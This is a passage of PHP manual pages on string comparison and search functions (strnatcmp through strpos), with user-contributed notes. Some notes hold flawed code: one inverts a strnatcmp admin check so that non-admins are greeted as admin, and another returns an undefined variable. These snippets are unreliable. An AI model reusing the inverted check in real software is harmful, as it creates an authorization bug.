$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Standard string comparison\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nNatural order string comparison\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

The above example will output:

Standard string comparison
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order string comparison
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)
For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • preg_match() - Perform a regular expression match
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strcmp() - Binary safe string comparison
  • strncmp() - Binary safe string comparison of the first n characters
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm
  • strstr() - Find the first occurrence of a string
  • natsort() - Sort an array using a "natural order" algorithm
  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm

User Contributed Notes

Zero 04-Dec-2010 02:14
If you want to compare $_SESSION variables to a string use this

<?php
if(isset($_SESSION['usertype']))
{
     echo "usertype " .$_SESSION['usertype'];

     $ut = $_SESSION['usertype'];

     if(strnatcmp($ut,"admin"))
     {
          echo "hello admin";
     }
}
?>
thomas at uninet dot se 25-Jul-2006 12:50
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.
strnatcasecmp
strncasecmp
String Functions


Binary safe case-insensitive string comparison of the first n characters

strnatcmp
strncmp
String Functions
PHP Manual

strncasecmp

(PHP 4 >= 4.0.2, PHP 5)

strncasecmp — Binary safe case-insensitive string comparison of the first n characters

Description

int strncasecmp ( string $str1 , string $str2 , int $len )

This function is similar to strcasecmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison.

Parameters

str1

The first string.

str2

The second string.

len

The length of strings to be used in the comparison.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • strncmp() - Binary safe string comparison of the first n characters
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strcasecmp() - Binary safe case-insensitive string comparison
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

khootz 27-Nov-2006 08:23
i assume you can also use the ! (not) operator

<?php

if (!strncasecmp($string, 'Trudeau', 4)){
       print "true";
}

?>

since booleans in PHP translate 0 to FALSE and any other integer to TRUE.

!0  = !false = true
!1  = !true = false
!-1 = !true = false
djdykes 31-Aug-2005 03:43
Hi all,

be aware when comparing strings using the strcmp family. if you write code like this...

if (strncasecmp($string, 'Trudeau', 4))
 print "true";

The above code returns 1 which evaluates to boolean 'true'

that statement will always be true... because these functions return 0 only when equal. so a better test would be

if ( (strncasecmp($string, 'Trudeau', 4)) == 0)
 print "true";

always test these functions equality with 0

regards
strnatcmp
strncmp
String Functions


Binary safe string comparison of the first n characters

strncasecmp
strpbrk
String Functions
PHP Manual

strncmp

(PHP 4, PHP 5)

strncmp — Binary safe string comparison of the first n characters

Description

int strncmp ( string $str1 , string $str2 , int $len )

This function is similar to strcmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison.

Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

len

Number of characters to use in the comparison.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strcmp() - Binary safe string comparison
  • strstr() - Find the first occurrence of a string
  • substr() - Return part of a string

User Contributed Notes

bobvin at pillars dot net 19-May-2011 07:25
For checking matches at the beginning of a short string, strpos() is about 15% faster than strncmp().

Here's a benchmark program to prove it:

<?php
$haystack = "abcdefghijklmnopqrstuvwxyz";
$needles = array('abc', 'xyz', '123');
foreach ($needles as $needle) {
  $times['strncmp'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strncmp($haystack, $needle, 3) === 0;
  }
  $times['strncmp'][$needle] += microtime(true);
}
foreach ($needles as $needle) {
  $times['strpos'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strpos($haystack, $needle) === 0;
  }
  $times['strpos'][$needle] += microtime(true);
}
var_export($times);
?>
elloromtz at gmail dot com 19-Apr-2010 05:25
if length is 0 regardless what the two strings are, it will return 0

<?php
strncmp("xybc","a3234",0); // 0
strncmp("blah123","hohoho", 0); //0
?>
codeguru at crazyprogrammer dot cba dot pl 24-Jan-2008 11:07
I ran the following experiment to compare arrays.

1 st - using (substr($key,0,5 == "HTTP_") & 2 nd - using (!strncmp($key, 'HTTP_', 5))

I wanted to work out the fastest way to get the first few characters from a array

BENCHMARK ITERATION RESULT IS:
if (substr($key,0,5 == "HTTP_").... -   0,000481s
if (!strncmp($key, 'HTTP_', 5)).... -     0,000405s

strncmp() is 20% faster than substr() :D

<?php
// SAMPLE FUNCTION
function strncmp_match($arr)
{
foreach ($arr as $key => $val)
    {
    //if (substr($key,0,5 == "HTTP_")
    if (!strncmp($key, 'HTTP_', 5))
        {
    $out[$key] = $val;
        }
    }
return $out;
}

// EXAMPLE USE
?><pre><?php
print_r(strncmp_match($_SERVER));
?></pre>

will display code like this:

Array
(
    [HTTP_ACCEPT] => XXX
    [HTTP_ACCEPT_LANGUAGE] => pl
    [HTTP_UA_CPU] => x64
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Mozilla/4.0
                                    (compatible; MSIE 7.0;
                                     Windows NT 5.1;
                                    .NET CLR 1.1.4322;
                                    .NET CLR 2.0.50727)
    [HTTP_HOST] => XXX.XXX.XXX.XXX
    [HTTP_CONNECTION] => Keep-Alive
    [HTTP_COOKIE] => __utma=XX;__utmz=XX.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
)
Anonymous 17-Apr-2002 04:46
strncmp("sample","sam",4) returns 1 because the final requirement is if one string terminates before len, then the other must also terminate at that position.

You can imagine that all your strings have one more final, invisible "termination" character.  If that termination character happens to be within in len, then it must match, too.

For instance, write that termination character with, say, the sequence "\0". Then you can equivalently consider that function call as strncmp("sample\0","sam\0",4).

So, the "p" in "sample" does not match the termination character in "sam".
strncasecmp
strpbrk
String Functions


Search a string for any of a set of characters

strncmp
strpos
String Functions
PHP Manual

strpbrk

(PHP 5)

strpbrk — Search a string for any of a set of characters

Description

string strpbrk ( string $haystack , string $char_list )

strpbrk() searches the haystack string for a char_list.

Parameters

haystack

The string where char_list is looked for.

char_list

This parameter is case sensitive.

Return Values

Returns a string starting from the character found, or FALSE if it is not found.

Examples

Example #1 strpbrk() example

<?php

$text = 'This is a Simple text.';

// this echoes "is is a Simple text." because 'i' is matched first
echo strpbrk($text, 'mi');

// this echoes "Simple text." because chars are case sensitive
echo strpbrk($text, 'S');
?>

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • strstr() - Find the first occurrence of a string
  • preg_match() - Perform a regular expression match

User Contributed Notes

b dot pleshka at gmail dot com 04-Jan-2012 12:55
Simple code to define symbol (@) in the string

<?php
$name = "username@example.com";
if (strpbrk($name, '@') != FALSE) {
    echo "There is @";
}
else {
    echo "There isn't @";
}
?>
root at mantoru dot de 07-Feb-2008 07:55
A simpler (and slightly faster) strpbrkpos function:

<?php
function strpbrkpos($haystack, $char_list) {
    $result = strcspn($haystack, $char_list);
    if ($result != strlen($haystack)) {
        return $result;
    }
    return false;
}
?>
pzb at novell dot com 28-Jul-2007 04:09
One undocumented requirement:
If $char_list contains null characters ("\0"), only characters before the null will be used.  While PHP handles nulls in strings just fine, the data is passed to a function that is not null safe.
Evan 03-Jul-2007 08:33
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions:

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = strlen($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept{$i})) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

  return $v;
}

?>
user at example dot net 03-Jul-2007 12:25
For PHP versions before 5:

<?php

    function strpbrk( $haystack, $char_list )
    {
        $strlen = strlen($char_list);
        $found = false;
        for( $i=0; $i<$strlen; $i++ ) {
            if( ($tmp = strpos($haystack, $char_list{$i})) !== false ) {
                if( !$found ) {
                    $pos = $tmp;
                    $found = true;
                    continue;
                }
                $pos = min($pos, $tmp);
            }
        }
        if( !$found ) {
            return false;
        }
        return substr($haystack, $pos);
    }

?>

Sadly this is about ten times slower than the native implementation.
jamie dot mcardle at stpetersgv dot org 07-Jun-2007 02:54
I wanted to use this function to look for an @ in a db entry - didn't work because I don't have this version of PHP yet, but I thought I had my issue licked. Darn it.
aidan at php dot net 21-Aug-2004 01:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
strncmp
strpos
String Functions


Find the position of the first occurrence of a substring in a string

strpbrk
strrchr
String Functions
PHP Manual

strpos

(PHP 4, PHP 5)

strpos — Find the position of the first occurrence of a substring in a string

Description

int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

Find the numeric position of the first occurrence of needle in the haystack string.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. Unlike strrpos() and strripos(), the offset cannot be negative.

Return Values

Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Using ===

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' was the 0th (first) character.
if ($pos === false) {
    echo "The string '$findme' was not found in the string '$mystring'";
} else {
    echo "The string '$findme' was found in the string '$mystring'";
    echo " and exists at position $pos";
}
?>

Example #2 Using !==

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// The !== operator can also be used.  Using != would not work as expected
// because the position of 'a' is 0. The statement (0 != false) evaluates
// to false.
if ($pos !== false) {
     echo "The string '$findme' was found in the string '$mystring'";
         echo " and exists at position $pos";
} else {
     echo "The string '$findme' was not found in the string '$mystring'";
}
?>

Example #3 Using an offset

<?php
// We can search for the character, ignoring anything before the offset
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, not 0
?>

Notes

Note: This function is binary-safe.

See Also

  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strstr() - Find the first occurrence of a string
  • strpbrk() - Search a string for any of a set of characters
  • substr() - Return part of a string
  • preg_match() - Perform a regular expression match

User Contributed Notes

rjeggens at ijskoud dot org 24-Jan-2012 07:38
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that

strpos() !== false

is a different beast then:

strpos() === true

since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
gjh42 - simonokewode at hotmail dot com 07-Nov-2011 07:59
A pair of functions to replace every nth occurrence of a string with another string, starting at any position in the haystack. The first works on a string and the second works on a single-level array of strings, treating it as a single string for replacement purposes (any needles split over two array elements are ignored).

Can be used for formatting dynamically-generated HTML output without touching the original generator: e.g. add a newLine class tag to every third item in a floated list, starting with the fourth item.

<?php
/* String Replace at Intervals   by Glenn Herbert (gjh42)    2010-12-17
 */

//(basic locator by someone else - name unknown)
//strnposr() - Find the position of nth needle in haystack.
function strnposr($haystack, $needle, $occurrence, $pos = 0) {
    return ($occurrence<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurrence-1,strpos($haystack, $needle, $pos) + 1);
}

//gjh42
//replace every nth occurrence of $needle with $repl, starting from any position
function str_replace_int($needle, $repl, $haystack, $interval, $first=1, $pos=0) {
  if ($pos >= strlen($haystack) or substr_count($haystack, $needle, $pos) < $first) return $haystack;
  $firstpos = strnposr($haystack, $needle, $first, $pos);
  $nl = strlen($needle);
  $qty = floor(substr_count($haystack, $needle, $firstpos + 1)/$interval);
  do { //in reverse order
    $nextpos = strnposr($haystack, $needle, ($qty * $interval) + 1, $firstpos);
    $qty--;
    $haystack = substr_replace($haystack, $repl, $nextpos, $nl);
  } while ($nextpos > $firstpos);
  return $haystack;
}
  //$needle = string to find
  //$repl = string to replace needle
  //$haystack = string to do replacing in
  //$interval = number of needles in loop
  //$first=1 = first occurrence of needle to replace (defaults to first)
  //$pos=0 = position in haystack string to start from (defaults to first)

//replace every nth occurrence of $needle with $repl, starting from any position, in a single-level array
function arr_replace_int($needle, $repl, $arr, $interval, $first=1, $pos=0, $glue='|+|') {
  if (!is_array($arr))  return $arr;
  foreach($arr as $key=>$value){
    if (is_array($arr[$key])) return $arr;
  }
  $haystack = implode($glue, $arr);
  $haystack = str_replace_int($needle, $repl, $haystack, $interval, $first, $pos);
  $tarr = explode($glue, $haystack);
  $i = 0;
  foreach($arr as $key=>$value){
    $arr[$key] = $tarr[$i];
    $i++;
  }
  return $arr;
}
?>
If $arr is not an array, or a multilevel array, it is returned unchanged.
Mark Oates 25-Oct-2011 08:36
When using GLOB_BRACE to find files on a local computer, note that including the drive lettername within the braces may cause the behavior to not work as expected:

<?php

$location = "{c:/foo/*.txt,c:/foo/bar/*.txt}"; // < will NOT work

$location = "c:{/foo/*.txt,/foo/bar/*.txt}"; // < works

$location = "c:/{foo/*.txt,foo/bar/*.txt}"; // < works

$location = "{/foo/*.txt,/foo/bar/*.txt}"; // < works

print_r(glob($location, GLOB_BRACE));

?>
jim at terrys dot net 29-Sep-2011 11:53
strpos that accepts an array for $needle

<?php
// strpos that takes an array of values to match against a string
// note the stupid argument order (to match strpos)
function strpos_arr($haystack, $needle) {
    if(!is_array($needle)) $needle = array($needle);
    foreach($needle as $what) {
        if(($pos = strpos($haystack, $what))!==false) return $pos;
    }
    return false;
}
?>
----------------------------
http://www.show-ip.org
a at bc dot de 23-Jun-2011 08:32
A simple way to get the FIRST occurence of any $needle.
Needed if more than one $needle could occur in $haystack and you want the first occurence of any $needle.
<?php
function strpos_arr($haystack, $needle) {
    $First = strlen($haystack);
    if(!is_array($needle)) $needle = array($needle);
    foreach($needle as $what) {
        $pos = strpos($haystack, $what);
        if($pos !== false)
        {
            if($pos < $First) $First = $pos;
        }
    }
    return $First == strlen($haystack) ? false : $First;
}
?>
akarmenia at gmail dot com 05-Mar-2011 04:44
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.

<?php
function strpos_array($haystack, $needles) {
    if ( is_array($needles) ) {
        foreach ($needles as $str) {
            if ( is_array($str) ) {
                $pos = strpos_array($haystack, $str);
            } else {
                $pos = strpos($haystack, $str);
            }
            if ($pos !== FALSE) {
                return $pos;
            }
        }
    } else {
        return strpos($haystack, $needles);
    }
}

// Test
echo strpos_array('This is a test', array('test', 'drive')); // Output is 10

?>
jaimthorn at yahoo dot com 09-Feb-2011 02:09
A complete set of strn*pos functions that look for the nth occurrence of the needle in the haystack. I prefer this implementation of strnpos because it doesn't give visible warnings when supplied with a needle of length 0 (which is, admittedly, non-standard behavior).  Based on a version I [originally posted on 05-MAR-2010]; this new version conforms more to the semantics of strpos.

<?php

/**
 *  This function implements all the strn*pos functions, which return the $nth occurrence of $needle
 *  in $haystack, or false if it doesn't exist / when illegal parameters have been supplied.
 *
 *  @param  string  $haystack       the string to search in.
 *  @param  MIXED   $needle         the string or the ASCII value of the character to search for.
 *  @param  integer $nth            the number of the occurrence to look for.
 *  @param  integer $offset         the position in $haystack to start looking for $needle.
 *  @param  bool    $insensitive    should the function be case insensitive?
 *  @param  bool    $reverse        should the function work its way backwards in the haystack?
 *  @return MIXED   integer         either the position of the $nth occurrence of $needle in $haystack,
 *               or boolean         false if it can't be found.
 */
function strnripos_generic( $haystack, $needle, $nth, $offset, $insensitive, $reverse )
{
    //  If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.
    if( ! is_string( $needle ) ) {
        $needle = chr( (int) $needle );
    }

    //  Are the supplied values valid / reasonable?
    $len = strlen( $needle );
    if( 1 > $nth || 0 === $len ) {
        return false;
    }

    if( $insensitive ) {
        $haystack = strtolower( $haystack );
        $needle   = strtolower( $needle   );
    }

    if( $reverse ) {
        $haystack = strrev( $haystack );
        $needle   = strrev( $needle   );
    }

    //  $offset is incremented in the call to strpos, so make sure that the first
    //  call starts at the right position by initially decreasing $offset by $len.
    $offset -= $len;
    do
    {
        $offset = strpos( $haystack, $needle, $offset + $len );
    } while( --$nth  && false !== $offset );

    return false === $offset || ! $reverse ? $offset : strlen( $haystack ) - $offset;
}

/**
 *  @see    strnripos_generic
 */
function strnpos( $haystack, $needle, $nth, $offset = 0 )
{
    return strnripos_generic( $haystack, $needle, $nth, $offset, false, false );
}

/**
 *  @see    strnripos_generic
 */
function strnipos( $haystack, $needle, $nth, $offset = 0 )
{
    return strnripos_generic( $haystack, $needle, $nth, $offset, true, false );
}

/**
 *  @see    strnripos_generic
 */
function strnrpos( $haystack, $needle, $nth, $offset = 0 )
{
    return strnripos_generic( $haystack, $needle, $nth, $offset, false, true );
}

/**
 *  @see    strnripos_generic
 */
function strnripos( $haystack, $needle, $nth, $offset = 0 )
{
    return strnripos_generic( $haystack, $needle, $nth, $offset, true, true );
}

$haystack = 'Dit is een HoTtentotTentenTentenToonstellingTest!';

echo strnpos  ( $haystack, 't', 5 ), ' === ', strnpos  ( $haystack, 116, 5 ), PHP_EOL;
echo strnipos ( $haystack, 't', 5 ), ' === ', strnipos ( $haystack, 116, 5 ), PHP_EOL;
echo strnrpos ( $haystack, 't', 5 ), ' === ', strnrpos ( $haystack, 116, 5 ), PHP_EOL;
echo strnripos( $haystack, 't', 5 ), ' === ', strnripos( $haystack, 116, 5 ), PHP_EOL;
echo PHP_EOL;
echo strnpos  ( $haystack, 'T', 5 ), ' === ', strnpos  ( $haystack,  84, 5 ), PHP_EOL;
echo strnipos ( $haystack, 'T', 5 ), ' === ', strnipos ( $haystack,  84, 5 ), PHP_EOL;
echo strnrpos ( $haystack, 'T', 5 ), ' === ', strnrpos ( $haystack,  84, 5 ), PHP_EOL;
echo strnripos( $haystack, 'T', 5 ), ' === ', strnripos( $haystack,  84, 5 ), PHP_EOL;
?>
Anonymous 19-Aug-2010 02:50
beware the mindless "if needle is not string" :

root@voice1:/www/voice_ed#php -r 'var_dump(strpos("X1234567",5));'
bool(false)
root@voice1:/www/voice_ed#php -r 'var_dump(strpos("X1234567","5"));'
int(5)
root@voice1:/www/voice_ed#
gambajaja at yahoo dot com 17-Aug-2010 03:25
<?php
$my_array = array ('100,101', '200,201', '300,301');
$check_me_in = array ('100','200','300','400');
foreach ($check_me_in as $value_cmi){
    $is_in=FALSE; #asume that $check_me_in isn't in $my_array
    foreach ($my_array as $value_my){
        $pos = strpos($value_my, $value_cmi);
        if ($pos===0)
            $pos++;
        if ($pos==TRUE){
            $is_in=TRUE;
            $value_my2=$value_my;
            }
    }
    if ($is_in) echo "ID $value_cmi in \$check_me_in I found in value '$value_my2' \n";
}
?>

The above example will output
ID 100 in $check_me_in I found in value '100,101'
ID 200 in $check_me_in I found in value '200,201'
ID 300 in $check_me_in I found in value '300,301'
usulaco at gmail dot com 11-Aug-2010 05:04
Parse strings between two others in to array.

<?php
function g($string,$start,$end){
     preg_match_all('/' . preg_quote($start, '/') . '(.*?)'. preg_quote($end, '/').'/i', $string, $m);
     $out = array();

     foreach($m[1] as $key => $value){
       $type = explode('::',$value);
       if(sizeof($type)>1){
          if(!is_array($out[$type[0]]))
             $out[$type[0]] = array();
          $out[$type[0]][] = $type[1];
       } else {
          $out[] = $value;
       }
     }
  return $out;
}
print_r(g('Sample text, [/text to extract/] Rest of sample text [/WEB::http://google.com/] bla bla bla. ','[/','/]'));
?>

results:
Array
(
    [0] => text to extract
    [WEB] => Array
        (
            [0] => http://google.com
        )

)

Can be helpfull to custom parsing :)
james [at] bandit co.nz 28-May-2010 04:38
strpos that accepts an array for $needle

<?php
// strpos that takes an array of values to match against a string
// note the stupid argument order (to match strpos)
function strpos_arr($haystack, $needle) {
    if(!is_array($needle)) $needle = array($needle);
    foreach($needle as $what) {
        if(($pos = strpos($haystack, $what))!==false) return $pos;
    }
    return false;
}
?>
olmstead31 at yahoo dot com 23-Mar-2010 07:48
I found that whatever I was using as a test with strpos it came out false exept if $pos was == 1

I figured it gives me a numeric value if found else it is null or false
here is what i did to make my code work:

<?php
//EXAMPLE 1:
$quiamime = ',64,68,70,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to 0
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}

//EXAMPLE 2:
$quiamime = ',68,70,64,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to 6
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}

//EXAMPLE 3:
$quiamime = ',68,70,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to NULL or FALSE
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}
?>
daevid at daevid dot com 26-Jan-2010 02:46
Dan Brown and I had a discussion on the PHP list about the speed difference between the popular three string searching techniques. He wrote a simple timing test, and I adapted it further. The end result is that all three are very close and not even noticeable for sets < 1M. Although, technically strpos() is about twice as fast (as the docs allude to above). Here it is for your own amusement and testing purposes.

<?php
for ($i = 0; $i < 1000000; $i++ )
    $o[] =
sprintf('%04d-%02d-%02d',rand(0000,9999),rand(00,99),rand(00,99));
#print_r($o);
echo "array of ".number_format($i)."\n";
###################################################################
$now = microtime(true);
for($i=0;$i<count($o);$i++) {
       if(preg_match('/^[0]{4,}\-/U',$o[$i])) {
               //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
       }
}
$rank['preg_match'] = (microtime(true) - $now);
###################################################################
$later = microtime(true);
for($i=0;$i<count($o);$i++) {
        if(substr($o[$i],0,4) == "0000") {
                //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
        }
}
$rank['substr'] = (microtime(true) - $later);
###################################################################
$after = microtime(true);
for($i=0;$i<count($o);$i++) {
        if(strpos($o[$i], '0000') === 0) {
                //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
        }
}
$rank['strpos'] = (microtime(true) - $after);
###################################################################
asort($rank);
print_r($rank);
?>

array of 10,000
Array
(
    [strpos] => 0.00766682624817
    [substr] => 0.0116670131683
    [preg_match] => 0.0124950408936
)

array of 100,000
Array
(
    [strpos] => 0.0817799568176
    [substr] => 0.120522975922
    [preg_match] => 0.125612974167
)

array of 1,000,000
Array
(
    [strpos] => 0.805890083313
    [substr] => 1.19799995422
    [preg_match] => 1.25615906715
)

I ran out of memory with more than 1M array elements.
Achintya 06-Nov-2009 02:03
A function I made to find the first occurrence of a particular needle not enclosed in quotes(single or double). Works for simple nesting (no backslashed nesting allowed).

<?php
function strposq($haystack, $needle, $offset = 0){
    $len = strlen($haystack);
    $charlen = strlen($needle);
    $flag1 = false;
    $flag2 = false;
    for($i = $offset; $i < $len; $i++){
        if(substr($haystack, $i, 1) == "'"){
            $flag1 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, 1) == '"'){
            $flag2 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, $charlen) == $needle && !$flag1 && !$flag2){
            return $i;
        }
    }
    return false;
}

echo strposq("he'llo'character;\"'som\"e;crap", ";"); //16
?>
yasindagli at gmail dot com 05-Oct-2009 09:05
This function finds postion of nth occurence of a letter starting from offset.

<?php
function nth_position($str, $letter, $n, $offset = 0){
    $str_arr = str_split($str);
    $letter_size = array_count_values(str_split(substr($str, $offset)));
    if( !isset($letter_size[$letter])){
        trigger_error('letter "' . $letter . '" does not exist in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    } else if($letter_size[$letter] < $n) {
        trigger_error('letter "' . $letter . '" does not exist ' . $n .' times in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    }
    for($i = $offset, $x = 0, $count = (count($str_arr) - $offset); $i < $count, $x != $n; $i++){
        if($str_arr[$i] == $letter){
            $x++;
        }
    }
    return $i - 1;
}

echo nth_position('foobarbaz', 'a', 2); //7
echo nth_position('foobarbaz', 'b', 1, 4); //6
?>
digitalpbk [at] gmail.com 30-Sep-2009 08:37
This functions throws an "Offset not contained in string" error if the offset is not in between 0 and the length of string.
KimKha 29-Sep-2009 01:56
The following function use to redirect to URL correctly if the URL have "http://" or "https://", or to relative URL on your site.

<?php
function forward($url = NULL){
    $root = "http://example.com/mydir/";

    if($url == NULL) // Go to homepage
        $url = $root;
    else {
        $pos = strpos($url, "http://");
        if ($pos === false)
            $pos = strpos($url, "https://");

        if ($pos === false || $pos > 0) // Go to relative URL on your site
            $url = $root . $url;
    }

    header('Location:'.$url);
}
?>
juniordez at gmail dot com 16-Sep-2009 09:47
Function to get the string pos ($search), before the position ($pos) passed as parameter.

<?php

function strposReverse( $str, $search, $pos ){
        $str = strrev($str);
        $search = strrev($search);
        $pos = (strlen($str) - 1) - $pos;

        $posRev = strpos( $str, $search, $pos );
        return (strlen($str) - 1) - $posRev - (strlen($search) - 1);
    }
?>
ah dot d at hotmail dot com 11-Aug-2009 01:29
A strpos modification to return an array of all the positions of a needle in the haystack

<?php
function strallpos($haystack,$needle,$offset = 0){
    $result = array();
    for($i = $offset; $i<strlen($haystack); $i++){
        $pos = strpos($haystack,$needle,$i);
        if($pos !== FALSE){
            $offset =  $pos;
            if($offset >= $i){
                $i = $offset;
                $result[] = $offset;
            }
        }
    }
    return $result;
}
?>

example:-

<?php
$haystack = "ASD is trying to get out of the ASDs cube but the other ASDs told him that his behavior will destroy the ASDs world";

$needle = "ASD";

print_r(strallpos($haystack,$needle));

//getting all the positions starting from a specified position

print_r(strallpos($haystack,$needle,34));
?>
bob at mailinator dot com 03-Jun-2009 11:26
I found in a certain bit of my code that under certain circumstances, $needle could be an empty string. This caused strpos to generate an error message.
To get round it, I had to first test to see if $needle was an empty string, and then (ie 'else') go forward and do the strpos test if not.
vbracco at gmail dot com 04-Apr-2009 06:45
This function find position of first occurrence of any $needles in a string $haystack.
Return the position as an integer. If needles is not found, strposa() will return boolean  FALSE.

<?php
function strposa($haystack ,$needles=array(),$offset=0){
    $chr = array();
    foreach($needles as $needle){
        $chr[] = strpos($haystack,$needle,$offset);
    }
    if(empty($chr)) return false;
    return min($chr);
}

$string = "This is my string, very simple.";

echo strposa($string,array(".",","," ")); // 2
echo strposa($string,array("T")); // 0
echo strposa($string,array("Q","W")); // false
?>
lkj dot korn AT NOSPAMgmail d0t c0m 03-Apr-2009 12:57
Note that strpos() will return false if you supply an integer (thus, this presumably applies to float, too) as needle. For example:

<?php
$id = 2; $text = '12345';
if(strpos($text, $id) === false){
  echo 'Yes, is false';
}
?>

Will output 'Yes, is false', a behavior which may not be very intuitive (you'd think it would be covered by PHP's type juggling feature).
This can be easily fixed by adding $id = (string)$id; above the strpos() statement.
teddanzig at yahoo dot com 23-Mar-2009 09:48
routine to return -1 if there is no match for strpos

<?php
//instr function to mimic vb instr fucntion
function InStr($haystack, $needle)
{
    $pos=strpos($haystack, $needle);
    if ($pos !== false)
    {
        return $pos;
    }
    else
    {
        return -1;
    }
}
?>
peterzuzek at gmail dot com 08-Feb-2009 11:01
A function that return the first occurance of a number in a string, if anyone needs it.

Translation/prevod:
Funkcija, ki vrača pozicijo prve številke v besedi, če jo kdo potrebuje.

<?php

    function firstNumPos($str) {
        $poses = array(); // will be storing positions of the numbers

        for($i = 0; $i < 10; ++$i) { // cycle through numbers
            if(($a = strpos($str, (string)$i)) !== false) {
                $poses[] = $a;    // append the position of
                                // the first occurance of the number
            }
        }
        if(isset($poses[0])) { // if array not empty
            sort($poses);        // sort to get the lowest one on the 'bottom'
            return $poses[0];    // and return it
        }
        return false; // otherwise return false

    } // firstNumPos()

?>
jburns131 at jbwebware dot com 27-Dec-2008 04:48
The Situation:

I wanted to return TRUE if strpos returned position 0, and only position 0, without the added overhead of preg_match.

The Solution:

